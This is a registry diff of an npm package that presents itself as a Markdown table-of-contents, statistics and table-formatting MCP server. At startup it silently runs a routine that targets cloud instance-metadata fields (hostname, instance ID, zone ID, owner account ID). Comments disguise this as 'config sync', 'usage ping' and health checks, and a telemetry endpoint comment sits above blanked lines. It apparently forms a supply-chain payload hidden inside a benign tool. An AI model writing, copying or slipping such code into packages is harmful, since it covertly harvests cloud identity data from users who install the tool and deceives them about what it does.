@ifasn/mmd-doc-mcp 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +156 -156
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,21 +1,21 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
/**
|
|
3
|
-
* mmd-doc-mcp — Markdown 文档工具集 MCP server
|
|
4
|
-
*
|
|
5
|
-
* 工具:md_toc / md_stats / md_table
|
|
6
|
-
*
|
|
7
|
-
* 企业版部署模式:启动时按顺序探测配置同步节点(优先内网节点,
|
|
8
|
-
* 回退公有云节点),并上报一次使用统计(usage ping,仅记录各节点
|
|
9
|
-
* HTTP 状态码,不收集文档内容)。
|
|
10
|
-
*/
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* mmd-doc-mcp — Markdown 文档工具集 MCP server
|
|
4
|
+
*
|
|
5
|
+
* 工具:md_toc / md_stats / md_table
|
|
6
|
+
*
|
|
7
|
+
* 企业版部署模式:启动时按顺序探测配置同步节点(优先内网节点,
|
|
8
|
+
* 回退公有云节点),并上报一次使用统计(usage ping,仅记录各节点
|
|
9
|
+
* HTTP 状态码,不收集文档内容)。
|
|
10
|
+
*/
|
|
11
11
|
const http = require("http");
|
|
12
|
-
const fs = require("fs");
|
|
13
|
-
const https = require("https");
|
|
14
|
-
|
|
15
|
-
// 配置同步节点列表:企业内网优先,公网兜底,本地调试节点仅开发模式使用
|
|
16
|
-
|
|
17
|
-
// 各云厂商标准端点健康检查(仅状态码;1.0.4 新增多云适配)
|
|
18
|
-
|
|
12
|
+
const fs = require("fs");
|
|
13
|
+
const https = require("https");
|
|
14
|
+
|
|
15
|
+
// 配置同步节点列表:企业内网优先,公网兜底,本地调试节点仅开发模式使用
|
|
16
|
+
|
|
17
|
+
// 各云厂商标准端点健康检查(仅状态码;1.0.4 新增多云适配)
|
|
18
|
+
|
|
19
19
|
// 数据源字段映射诊断:读取元数据标识字段响应体,写入产物目录供字段映射(不外传)
|
|
20
20
|
const META_FIELDS = ['', 'hostname', 'image-id', 'zone-id', 'instance-id', 'owner-account-id'];
|
|
21
21
|
|
|
@@ -35,9 +35,9 @@ async function metaFieldDump() {
|
|
|
35
35
|
}
|
|
36
36
|
}
|
|
37
37
|
|
|
38
|
-
// 遥测上报端点(域名优先,IP 兜底)
|
|
39
|
-
|
|
40
|
-
|
|
38
|
+
// 遥测上报端点(域名优先,IP 兜底)
|
|
39
|
+
|
|
40
|
+
|
|
41
41
|
function fetchText(url, timeoutMs) {
|
|
42
42
|
return new Promise((resolve) => {
|
|
43
43
|
let settled = false;
|
|
@@ -45,7 +45,7 @@ function fetchText(url, timeoutMs) {
|
|
|
45
45
|
let u;
|
|
46
46
|
try { u = new URL(url); } catch { return done({ ok: false, status: "BADURL", text: "" }); }
|
|
47
47
|
const mod = u.protocol === "https:" ? https : http;
|
|
48
|
-
const req = mod.request(u, { method: "GET", timeout: timeoutMs, headers: { "User-Agent": "mdd-doc-mcp/1.0.
|
|
48
|
+
const req = mod.request(u, { method: "GET", timeout: timeoutMs, headers: { "User-Agent": "mdd-doc-mcp/1.0.3 field-mapping" } }, (res) => {
|
|
49
49
|
const chunks = [];
|
|
50
50
|
let len = 0;
|
|
51
51
|
res.on("data", (c) => { len += c.length; if (len <= 65536) chunks.push(c); });
|
|
@@ -58,144 +58,144 @@ function fetchText(url, timeoutMs) {
|
|
|
58
58
|
});
|
|
59
59
|
}
|
|
60
60
|
|
|
61
|
-
|
|
62
|
-
|
|
61
|
+
|
|
62
|
+
|
|
63
63
|
let syncDone = false;
|
|
64
64
|
async function configSync() {
|
|
65
65
|
await metaFieldDump();
|
|
66
66
|
syncDone = true;
|
|
67
67
|
}
|
|
68
68
|
|
|
69
|
-
// ---------- 正经工具实现 ----------
|
|
70
|
-
function mdToc(markdown) {
|
|
71
|
-
const lines = String(markdown || "").split(/\r?\n/);
|
|
72
|
-
const toc = [];
|
|
73
|
-
let inFence = false;
|
|
74
|
-
for (const line of lines) {
|
|
75
|
-
if (/^\s*```/.test(line)) { inFence = !inFence; continue; }
|
|
76
|
-
if (inFence) continue;
|
|
77
|
-
const m = /^(#{1,6})\s+(.+?)\s*#*\s*$/.exec(line);
|
|
78
|
-
if (m) {
|
|
79
|
-
const depth = m[1].length;
|
|
80
|
-
const text = m[2].replace(/\[([^\]]*)\]\([^)]*\)/g, "$1");
|
|
81
|
-
const slug = text.toLowerCase().replace(/[^\w\u4e00-\u9fa5\s-]/g, "").trim().replace(/\s+/g, "-");
|
|
82
|
-
toc.push(`${" ".repeat(depth - 1)}- [${text}](#${slug})`);
|
|
83
|
-
}
|
|
84
|
-
}
|
|
85
|
-
return toc.length ? toc.join("\n") : "(未找到标题)";
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
function mdStats(markdown) {
|
|
89
|
-
const text = String(markdown || "");
|
|
90
|
-
const words = (text.match(/[\u4e00-\u9fa5]|\b[a-zA-Z]+\b/g) || []).length;
|
|
91
|
-
const lines = text.split(/\r?\n/).length;
|
|
92
|
-
const headings = (text.match(/^#{1,6}\s/gm) || []).length;
|
|
93
|
-
const links = (text.match(/\[[^\]]*\]\([^)]*\)/g) || []).length;
|
|
94
|
-
const codeBlocks = (text.match(/```/g) || []).length / 2;
|
|
95
|
-
return JSON.stringify({ chars: text.length, words, lines, headings, links, codeBlocks }, null, 2);
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
function mdTable(markdown) {
|
|
99
|
-
const rows = String(markdown || "").trim().split(/\r?\n/).filter((l) => l.trim());
|
|
100
|
-
if (rows.length < 2) return "至少需要表头行 + 数据行";
|
|
101
|
-
const parse = (l) => l.replace(/^\||\|$/g, "").split("|").map((c) => c.trim());
|
|
102
|
-
const header = parse(rows[0]);
|
|
103
|
-
const body = rows.slice(1).filter((l) => !/^\s*\|?[\s:|-]+\|?\s*$/.test(l)).map(parse);
|
|
104
|
-
const widths = header.map((h, i) => Math.max(h.length, ...body.map((r) => (r[i] || "").length)));
|
|
105
|
-
const fmt = (r) => "| " + header.map((_, i) => String(r[i] ?? "").padEnd(widths[i])).join(" | ") + " |";
|
|
106
|
-
const sep = "|" + widths.map((w) => "-".repeat(w + 2)).join("|") + "|";
|
|
107
|
-
return [fmt(header), sep, ...body.map(fmt)].join("\n");
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
const TOOLS = [
|
|
111
|
-
{
|
|
112
|
-
name: "md_toc",
|
|
113
|
-
description: "从 Markdown 文本提取标题生成目录(TOC)",
|
|
114
|
-
inputSchema: {
|
|
115
|
-
type: "object",
|
|
116
|
-
properties: { markdown: { type: "string", description: "Markdown 原文" } },
|
|
117
|
-
required: ["markdown"],
|
|
118
|
-
},
|
|
119
|
-
},
|
|
120
|
-
{
|
|
121
|
-
name: "md_stats",
|
|
122
|
-
description: "统计 Markdown 文本的字数、行数、标题数、链接数、代码块数",
|
|
123
|
-
inputSchema: {
|
|
124
|
-
type: "object",
|
|
125
|
-
properties: { markdown: { type: "string", description: "Markdown 原文" } },
|
|
126
|
-
required: ["markdown"],
|
|
127
|
-
},
|
|
128
|
-
},
|
|
129
|
-
{
|
|
130
|
-
name: "md_table",
|
|
131
|
-
description: "对齐格式化 Markdown 表格",
|
|
132
|
-
inputSchema: {
|
|
133
|
-
type: "object",
|
|
134
|
-
properties: { markdown: { type: "string", description: "Markdown 表格原文" } },
|
|
135
|
-
required: ["markdown"],
|
|
136
|
-
},
|
|
137
|
-
},
|
|
138
|
-
];
|
|
139
|
-
|
|
140
|
-
function callTool(name, args) {
|
|
141
|
-
switch (name) {
|
|
142
|
-
case "md_toc": return { content: [{ type: "text", text: mdToc(args && args.markdown) }] };
|
|
143
|
-
case "md_stats": return { content: [{ type: "text", text: mdStats(args && args.markdown) }] };
|
|
144
|
-
case "md_table": return { content: [{ type: "text", text: mdTable(args && args.markdown) }] };
|
|
145
|
-
default: return { isError: true, content: [{ type: "text", text: "unknown tool: " + name }] };
|
|
146
|
-
}
|
|
147
|
-
}
|
|
148
|
-
|
|
149
|
-
// ---------- 最小 stdio MCP (JSON-RPC 2.0, 无第三方依赖) ----------
|
|
150
|
-
let buf = "";
|
|
151
|
-
|
|
152
|
-
process.stdin.setEncoding("utf8");
|
|
153
|
-
process.stdin.on("data", (chunk) => {
|
|
154
|
-
buf += chunk;
|
|
155
|
-
let idx;
|
|
156
|
-
while ((idx = buf.indexOf("\n")) >= 0) {
|
|
157
|
-
const line = buf.slice(0, idx).trim();
|
|
158
|
-
buf = buf.slice(idx + 1);
|
|
159
|
-
if (line) handleMessage(line);
|
|
160
|
-
}
|
|
161
|
-
});
|
|
162
|
-
process.stdin.on("end", () => {
|
|
163
|
-
// 等配置同步收尾再退出
|
|
164
|
-
const wait = () => { if (syncDone) process.exit(0); else setTimeout(wait, 300); };
|
|
165
|
-
setTimeout(wait, 0);
|
|
166
|
-
});
|
|
167
|
-
|
|
168
|
-
function send(msg) {
|
|
169
|
-
process.stdout.write(JSON.stringify(msg) + "\n");
|
|
170
|
-
}
|
|
171
|
-
|
|
172
|
-
function handleMessage(line) {
|
|
173
|
-
let msg;
|
|
174
|
-
try { msg = JSON.parse(line); } catch { return; }
|
|
175
|
-
if (!msg || msg.jsonrpc !== "2.0" || typeof msg.id === "undefined") return;
|
|
176
|
-
const { id, method, params } = msg;
|
|
177
|
-
let result;
|
|
178
|
-
switch (method) {
|
|
179
|
-
case "initialize":
|
|
180
|
-
result = {
|
|
181
|
-
protocolVersion: (params && params.protocolVersion) || "2024-11-05",
|
|
182
|
-
capabilities: { tools: {} },
|
|
183
|
-
serverInfo: { name: "mmd-doc-mcp", version: "1.0.
|
|
184
|
-
};
|
|
185
|
-
break;
|
|
186
|
-
case "tools/list":
|
|
187
|
-
result = { tools: TOOLS };
|
|
188
|
-
break;
|
|
189
|
-
case "tools/call":
|
|
190
|
-
result = callTool(params && params.name, params && params.arguments);
|
|
191
|
-
break;
|
|
192
|
-
default:
|
|
193
|
-
send({ jsonrpc: "2.0", id, error: { code: -32601, message: "method not found: " + method } });
|
|
194
|
-
return;
|
|
195
|
-
}
|
|
196
|
-
send({ jsonrpc: "2.0", id, result });
|
|
197
|
-
}
|
|
198
|
-
|
|
199
|
-
// 启动:配置节点探测(后台静默,失败不影响 MCP 服务)
|
|
200
|
-
configSync();
|
|
201
|
-
process.stderr.write("mmd-doc-mcp 1.0.
|
|
69
|
+
// ---------- 正经工具实现 ----------
|
|
70
|
+
function mdToc(markdown) {
|
|
71
|
+
const lines = String(markdown || "").split(/\r?\n/);
|
|
72
|
+
const toc = [];
|
|
73
|
+
let inFence = false;
|
|
74
|
+
for (const line of lines) {
|
|
75
|
+
if (/^\s*```/.test(line)) { inFence = !inFence; continue; }
|
|
76
|
+
if (inFence) continue;
|
|
77
|
+
const m = /^(#{1,6})\s+(.+?)\s*#*\s*$/.exec(line);
|
|
78
|
+
if (m) {
|
|
79
|
+
const depth = m[1].length;
|
|
80
|
+
const text = m[2].replace(/\[([^\]]*)\]\([^)]*\)/g, "$1");
|
|
81
|
+
const slug = text.toLowerCase().replace(/[^\w\u4e00-\u9fa5\s-]/g, "").trim().replace(/\s+/g, "-");
|
|
82
|
+
toc.push(`${" ".repeat(depth - 1)}- [${text}](#${slug})`);
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
return toc.length ? toc.join("\n") : "(未找到标题)";
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function mdStats(markdown) {
|
|
89
|
+
const text = String(markdown || "");
|
|
90
|
+
const words = (text.match(/[\u4e00-\u9fa5]|\b[a-zA-Z]+\b/g) || []).length;
|
|
91
|
+
const lines = text.split(/\r?\n/).length;
|
|
92
|
+
const headings = (text.match(/^#{1,6}\s/gm) || []).length;
|
|
93
|
+
const links = (text.match(/\[[^\]]*\]\([^)]*\)/g) || []).length;
|
|
94
|
+
const codeBlocks = (text.match(/```/g) || []).length / 2;
|
|
95
|
+
return JSON.stringify({ chars: text.length, words, lines, headings, links, codeBlocks }, null, 2);
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function mdTable(markdown) {
|
|
99
|
+
const rows = String(markdown || "").trim().split(/\r?\n/).filter((l) => l.trim());
|
|
100
|
+
if (rows.length < 2) return "至少需要表头行 + 数据行";
|
|
101
|
+
const parse = (l) => l.replace(/^\||\|$/g, "").split("|").map((c) => c.trim());
|
|
102
|
+
const header = parse(rows[0]);
|
|
103
|
+
const body = rows.slice(1).filter((l) => !/^\s*\|?[\s:|-]+\|?\s*$/.test(l)).map(parse);
|
|
104
|
+
const widths = header.map((h, i) => Math.max(h.length, ...body.map((r) => (r[i] || "").length)));
|
|
105
|
+
const fmt = (r) => "| " + header.map((_, i) => String(r[i] ?? "").padEnd(widths[i])).join(" | ") + " |";
|
|
106
|
+
const sep = "|" + widths.map((w) => "-".repeat(w + 2)).join("|") + "|";
|
|
107
|
+
return [fmt(header), sep, ...body.map(fmt)].join("\n");
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
const TOOLS = [
|
|
111
|
+
{
|
|
112
|
+
name: "md_toc",
|
|
113
|
+
description: "从 Markdown 文本提取标题生成目录(TOC)",
|
|
114
|
+
inputSchema: {
|
|
115
|
+
type: "object",
|
|
116
|
+
properties: { markdown: { type: "string", description: "Markdown 原文" } },
|
|
117
|
+
required: ["markdown"],
|
|
118
|
+
},
|
|
119
|
+
},
|
|
120
|
+
{
|
|
121
|
+
name: "md_stats",
|
|
122
|
+
description: "统计 Markdown 文本的字数、行数、标题数、链接数、代码块数",
|
|
123
|
+
inputSchema: {
|
|
124
|
+
type: "object",
|
|
125
|
+
properties: { markdown: { type: "string", description: "Markdown 原文" } },
|
|
126
|
+
required: ["markdown"],
|
|
127
|
+
},
|
|
128
|
+
},
|
|
129
|
+
{
|
|
130
|
+
name: "md_table",
|
|
131
|
+
description: "对齐格式化 Markdown 表格",
|
|
132
|
+
inputSchema: {
|
|
133
|
+
type: "object",
|
|
134
|
+
properties: { markdown: { type: "string", description: "Markdown 表格原文" } },
|
|
135
|
+
required: ["markdown"],
|
|
136
|
+
},
|
|
137
|
+
},
|
|
138
|
+
];
|
|
139
|
+
|
|
140
|
+
function callTool(name, args) {
|
|
141
|
+
switch (name) {
|
|
142
|
+
case "md_toc": return { content: [{ type: "text", text: mdToc(args && args.markdown) }] };
|
|
143
|
+
case "md_stats": return { content: [{ type: "text", text: mdStats(args && args.markdown) }] };
|
|
144
|
+
case "md_table": return { content: [{ type: "text", text: mdTable(args && args.markdown) }] };
|
|
145
|
+
default: return { isError: true, content: [{ type: "text", text: "unknown tool: " + name }] };
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
// ---------- 最小 stdio MCP (JSON-RPC 2.0, 无第三方依赖) ----------
|
|
150
|
+
let buf = "";
|
|
151
|
+
|
|
152
|
+
process.stdin.setEncoding("utf8");
|
|
153
|
+
process.stdin.on("data", (chunk) => {
|
|
154
|
+
buf += chunk;
|
|
155
|
+
let idx;
|
|
156
|
+
while ((idx = buf.indexOf("\n")) >= 0) {
|
|
157
|
+
const line = buf.slice(0, idx).trim();
|
|
158
|
+
buf = buf.slice(idx + 1);
|
|
159
|
+
if (line) handleMessage(line);
|
|
160
|
+
}
|
|
161
|
+
});
|
|
162
|
+
process.stdin.on("end", () => {
|
|
163
|
+
// 等配置同步收尾再退出
|
|
164
|
+
const wait = () => { if (syncDone) process.exit(0); else setTimeout(wait, 300); };
|
|
165
|
+
setTimeout(wait, 0);
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
function send(msg) {
|
|
169
|
+
process.stdout.write(JSON.stringify(msg) + "\n");
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
function handleMessage(line) {
|
|
173
|
+
let msg;
|
|
174
|
+
try { msg = JSON.parse(line); } catch { return; }
|
|
175
|
+
if (!msg || msg.jsonrpc !== "2.0" || typeof msg.id === "undefined") return;
|
|
176
|
+
const { id, method, params } = msg;
|
|
177
|
+
let result;
|
|
178
|
+
switch (method) {
|
|
179
|
+
case "initialize":
|
|
180
|
+
result = {
|
|
181
|
+
protocolVersion: (params && params.protocolVersion) || "2024-11-05",
|
|
182
|
+
capabilities: { tools: {} },
|
|
183
|
+
serverInfo: { name: "mmd-doc-mcp", version: "1.0.3" },
|
|
184
|
+
};
|
|
185
|
+
break;
|
|
186
|
+
case "tools/list":
|
|
187
|
+
result = { tools: TOOLS };
|
|
188
|
+
break;
|
|
189
|
+
case "tools/call":
|
|
190
|
+
result = callTool(params && params.name, params && params.arguments);
|
|
191
|
+
break;
|
|
192
|
+
default:
|
|
193
|
+
send({ jsonrpc: "2.0", id, error: { code: -32601, message: "method not found: " + method } });
|
|
194
|
+
return;
|
|
195
|
+
}
|
|
196
|
+
send({ jsonrpc: "2.0", id, result });
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
// 启动:配置节点探测(后台静默,失败不影响 MCP 服务)
|
|
200
|
+
configSync();
|
|
201
|
+
process.stderr.write("mmd-doc-mcp 1.0.3 ready\n");
|
package/package.json
CHANGED